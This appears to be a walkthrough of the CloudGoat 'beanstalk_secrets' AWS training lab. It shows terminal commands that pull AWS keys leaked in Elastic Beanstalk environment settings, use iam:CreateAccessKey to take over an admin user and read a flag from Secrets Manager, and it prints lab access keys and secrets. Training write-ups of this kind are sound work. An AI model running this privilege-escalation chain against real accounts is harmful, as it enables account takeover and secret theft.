curl https://3mr2ebz0ak.execute-api.us-east-1.amazonaws.com/prod-cgidrsy0favpsp/user-data -H 'x-api-key: 45a3da610dc
64703b10e273a4db135bf' {"final_flag": "FLAG{SNS_S3r3ts_ar3_FUN}", "message" : "Access granted"
, "user_data" : {"email": "SuperAdmin@notarealemail.co
m", "password": "p@sswOrd123", "user_id": "1337", "username" : "SuperAdmin"}}

Cloudgoat BeanstalkSecrets Walkthrough

Yar Khan — Sun, 06 Jul 2025 12:38:22 +0000

Beanstalk Secrets

Automatically whitelists your IP to allow access to the vulnerable CloudGoat scenario.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# cloudgoat config whitelist --auto

initial_low_priv_credentials = Access Key: AKIAZI2LCSHNOWPG26FR
Secret Key: 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

Confirms current AWS identity (low-priv user: cgidrddh9uxljn_low_priv_user).

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws sts get-caller-identity --profile pw
{
    "UserId": "AIDAZI2LCSHNL62NPKJBK",
    "Account": "637423227354",
    "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_low_priv_user"
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws help

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk help

Retrieves environment ID and endpoint URL for the active Beanstalk application.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk describe-environments --profile pw
{
{
    "Environments": [
        {
            "EnvironmentName": "cgidrddh9uxljn-env",
            "EnvironmentId": "e-nphm6qpyc2",
            "ApplicationName": "cgidrddh9uxljn-app",
            "SolutionStackName": "64bit Amazon Linux 2023 v4.6.0 running Python 3.11",
            "PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.11 running on 64bit Amazon Linux 2023/4.6.0",
            "EndpointURL": "awseb-e-n-AWSEBLoa-114Z7VERU1JC9-508425660.us-east-1.elb.amazonaws.com",
            "CNAME": "cgidrddh9uxljn-env.eba-ypbpr8em.us-east-1.elasticbeanstalk.com",
            "DateCreated": "2025-07-06T07:58:12.268000+00:00",
            "DateUpdated": "2025-07-06T08:01:26.202000+00:00",
            "Status": "Ready",
            "AbortableOperationInProgress": false,
            "Health": "Grey",
            "HealthStatus": "Pending",
            "Tier": {
                "Name": "WebServer",
                "Type": "Standard",
                "Version": "1.0"
            },
            "EnvironmentLinks": [],
            "EnvironmentArn": "arn:aws:elasticbeanstalk:us-east-1:637423227354:environment/cgidrddh9uxljn-app/cgidrddh9uxljn-env"
        }
    ]
}

Retrieves the name and metadata of the Beanstalk application.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk describe-applications --profile pw
{
    "Applications": [
        {
            "ApplicationArn": "arn:aws:elasticbeanstalk:us-east-1:637423227354:application/cgidrddh9uxljn-app",
            "ApplicationName": "cgidrddh9uxljn-app",
            "Description": "Elastic Beanstalk application for insecure secrets scenario",
            "DateCreated": "2025-07-06T07:57:55.841000+00:00",
            "DateUpdated": "2025-07-06T07:57:55.841000+00:00",
            "ConfigurationTemplates": [],
            "ResourceLifecycleConfig": {
                "VersionLifecycleConfig": {
                    "MaxCountRule": {
                        "Enabled": false,
                        "MaxCount": 200,
                        "DeleteSourceFromS3": false
                    },
                    "MaxAgeRule": {
                        "Enabled": false,
                        "MaxAgeInDays": 180,
                        "DeleteSourceFromS3": false
                    }
                }
            }
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk describe-application-versions --application-name cgidrddh9uxljn-app --version-label "v1" --profile pw
{
    "ApplicationVersions": []
}

Leaks environment variables including exposed AWS credentials for a higher-privileged user.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk describe-configuration-settings --environment-name cgidrddh9uxljn-env --application-name cgidrddh9uxljn-app --profile pw | jq '.ConfigurationSettings[0].OptionSettings[] | select(.Namespace=="aws:elasticbeanstalk:application:environment")'
{
  "Namespace": "aws:elasticbeanstalk:application:environment",
  "OptionName": "PYTHONPATH",
  "Value": "/var/app/venv/staging-LQM1lest/bin"
}
{
  "Namespace": "aws:elasticbeanstalk:application:environment",
  "OptionName": "SECONDARY_ACCESS_KEY",
  "Value": "AKIAZI2LCSHND4ONUGEM"
}
{
  "Namespace": "aws:elasticbeanstalk:application:environment",
  "OptionName": "SECONDARY_SECRET_KEY",
  "Value": "pSGrnRE8rRMWqoKWdeB0OHd/BPL+0T+eC8zwQlWJ"
}

now using these credentials enumerate IAM permissions to eventually create an access key for an administrator user

Personal Script

use my own script to do the IAM enumeration

{
  "current_user": "cgidrddh9uxljn_secondary_user",
  "users": [
    "cgidrddh9uxljn_secondary_user"
  ],
  "managed_policies": {
    "cgidrddh9uxljn_secondary_user": [
      {
        "PolicyName": "cgidrddh9uxljn_secondary_policy",
        "PolicyArn": "arn:aws:iam::637423227354:policy/cgidrddh9uxljn_secondary_policy"
      }
    ]
  },
  "inline_policies": {
    "cgidrddh9uxljn_secondary_user": []
  },
  "groups_managed_policies": {
    "Admin": []
  },
  "groups_inline_policies": {
    "Admin": []
  },
  "users_groups": {},
  "roles": {
    "cg-lambda-invoker-vulnerable_lambda_cgid1ncsj7bxah": {
      "RoleId": "AROAZI2LCSHNHAYBZ7NB6",
      "Arn": "arn:aws:iam::637423227354:role/cg-lambda-invoker-vulnerable_lambda_cgid1ncsj7bxah",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
              "AWS": "AIDAZI2LCSHNC6T5WHMCJ"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    },
    "cgidrddh9uxljn_eb_instance_role": {
      "RoleId": "AROAZI2LCSHNFI4A4BNZE",
      "Arn": "arn:aws:iam::637423227354:role/cgidrddh9uxljn_eb_instance_role",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Effect": "Allow",
            "Principal": {
              "Service": "ec2.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    },
    "cgidrddh9uxljn_eb_service_role": {
      "RoleId": "AROAZI2LCSHNKBOPAXYCP",
      "Arn": "arn:aws:iam::637423227354:role/cgidrddh9uxljn_eb_service_role",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Effect": "Allow",
            "Principal": {
              "Service": "elasticbeanstalk.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    },
    "rds-monitoring-role": {
      "RoleId": "AROAZI2LCSHNCK26BPXQW",
      "Arn": "arn:aws:iam::637423227354:role/rds-monitoring-role",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
              "Service": "monitoring.rds.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    },
    "vulnerable_lambda_cgid1ncsj7bxah-policy_applier_lambda1": {
      "RoleId": "AROAZI2LCSHNEK7B2PR7Y",
      "Arn": "arn:aws:iam::637423227354:role/vulnerable_lambda_cgid1ncsj7bxah-policy_applier_lambda1",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
              "Service": "lambda.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    }
  },
  "attached_role_policies": {
    "cg-lambda-invoker-vulnerable_lambda_cgid1ncsj7bxah": [],
    "cgidrddh9uxljn_eb_instance_role": [],
    "cgidrddh9uxljn_eb_service_role": [],
    "rds-monitoring-role": [
      "arn:aws:iam::aws:policy/service-role/AmazonRDSEnhancedMonitoringRole"
    ],
    "vulnerable_lambda_cgid1ncsj7bxah-policy_applier_lambda1": []
  },
  "inline_role_policies": {
    "cg-lambda-invoker-vulnerable_lambda_cgid1ncsj7bxah": {},
    "cgidrddh9uxljn_eb_instance_role": {},
    "cgidrddh9uxljn_eb_service_role": {},
    "rds-monitoring-role": {},
    "vulnerable_lambda_cgid1ncsj7bxah-policy_applier_lambda1": {}
  }
}

Managed Policy Versions

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws iam get-policy \                    
  --policy-arn arn:aws:iam::637423227354:policy/cgidrddh9uxljn_secondary_policy \
  --profile pw         
{
    "Policy": {
        "PolicyName": "cgidrddh9uxljn_secondary_policy",
        "PolicyId": "ANPAZI2LCSHNNTIDMXKIF",
        "Arn": "arn:aws:iam::637423227354:policy/cgidrddh9uxljn_secondary_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2025-07-06T07:57:54+00:00",
        "UpdateDate": "2025-07-06T07:57:54+00:00",
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "beanstalk_secrets"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws iam get-policy-version --policy-arn arn:aws:iam::637423227354:policy/cgidrddh9uxljn_secondary_policy --version-id v1 --profile pw 
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:CreateAccessKey"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:ListRoles",
                        "iam:GetRole",
                        "iam:ListPolicies",
                        "iam:GetPolicy",
                        "iam:ListPolicyVersions",
                        "iam:GetPolicyVersion",
                        "iam:ListUsers",
                        "iam:GetUser",
                        "iam:ListGroups",
                        "iam:GetGroup",
                        "iam:ListAttachedUserPolicies",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-07-06T07:57:54+00:00"
    }
}

Since you already have permissions like iam:CreateAccessKey and have discovered the user cgidrddh9uxljn_admin_user, you can create new credentials (Access Key + Secret) for that user and gain access as them — even without knowing their existing credentials.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws iam list-users --profile pw                                                  
{
    "Users": [
        {
            "Path": "/",
            "UserName": "cgidrddh9uxljn_admin_user",
            "UserId": "AIDAZI2LCSHNDLS76Y2GZ",
            "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_admin_user",
            "CreateDate": "2025-07-06T07:57:54+00:00"
        },
        {
            "Path": "/",
            "UserName": "cgidrddh9uxljn_low_priv_user",
            "UserId": "AIDAZI2LCSHNL62NPKJBK",
            "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_low_priv_user",
            "CreateDate": "2025-07-06T07:57:54+00:00"
        },
        {
            "Path": "/",
            "UserName": "cgidrddh9uxljn_secondary_user",
            "UserId": "AIDAZI2LCSHNPBONLSC4A",
            "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_secondary_user",
            "CreateDate": "2025-07-06T07:57:54+00:00"
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws iam create-access-key \
  --user-name cgidrddh9uxljn_admin_user \
  --profile pw

{
    "AccessKey": {
        "UserName": "cgidrddh9uxljn_admin_user",
        "AccessKeyId": "AKIAZI2LCSHNFA6ZBTTK",
        "Status": "Active",
        "SecretAccessKey": "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",
        "CreateDate": "2025-07-06T08:46:39+00:00"
    }
}

now use these credentials to configure

                                                                                 ┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws sts get-caller-identity --profile pw
{
    "UserId": "AIDAZI2LCSHNDLS76Y2GZ",
    "Account": "637423227354",
    "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_admin_user"
}

with these privileges we will retrieve flag stored in secrets manager

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws secretsmanager list-secrets --profile pw
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:637423227354:secret:cgidrddh9uxljn_final_flag-KSYyXA",
            "Name": "cgidrddh9uxljn_final_flag",
            "LastChangedDate": "2025-07-06T12:57:55.311000+05:00",
            "LastAccessedDate": "2025-07-06T05:00:00+05:00",
            "Tags": [
                {
                    "Key": "Scenario",
                    "Value": "beanstalk_secrets"
                },
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                }
            ],
            "SecretVersionsToStages": {
                "terraform-20250706075755171300000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-07-06T12:57:54.304000+05:00"
        }
    ]
}

Found The Flag

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws secretsmanager get-secret-value \
  --secret-id cgidrddh9uxljn_final_flag \
  --profile pw
{
    "ARN": "arn:aws:secretsmanager:us-east-1:637423227354:secret:cgidrddh9uxljn_final_flag-KSYyXA",
    "Name": "cgidrddh9uxljn_final_flag",
    "VersionId": "terraform-20250706075755171300000002",
    "SecretString": "FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-07-06T12:57:55.307000+05:00"
}